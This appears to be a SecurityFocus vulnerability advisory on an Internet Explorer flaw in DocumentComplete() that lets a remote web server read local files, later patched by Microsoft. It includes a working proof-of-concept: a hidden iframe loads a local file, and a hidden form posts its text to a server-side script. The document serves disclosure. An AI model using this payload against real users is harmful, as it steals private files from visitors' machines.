source: http://www.securityfocus.com/bid/1224/info

The DocumentComplete() function in IE does not properly validate origin domains.

Therefore it is possible for a remote webserver to gain read access to local files on the machine of any website visitor or email recipient by accessing the browser object of a frame containing local content. Only files that can be opened by a browser window (eg. *.htm, *.js, *.txt etc) are viewable, and the path and name of the file must be known by the attacker.

Update (May 16, 2001): A new variant of this vulnerability has been discovered. Microsoft has released a new patch to address all known variants of this vulnerability. 

<iframe id=clientContent width=0 height=0 noborder>
</iframe>
<script for=clientContent event="DocumentComplete(browser)">
alert (browser.document.body.innerText);

// browser is an instance of the IWebBrowser COM object

document.forms[0].elements[0].value = browser.document.body.innerText;
document.forms[0].submit ();

</script>

<script>
clientContent.navigate("c:\\known_file.txt")
</script>
<form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return
true">
<input name="file_text" type=hidden>
</form>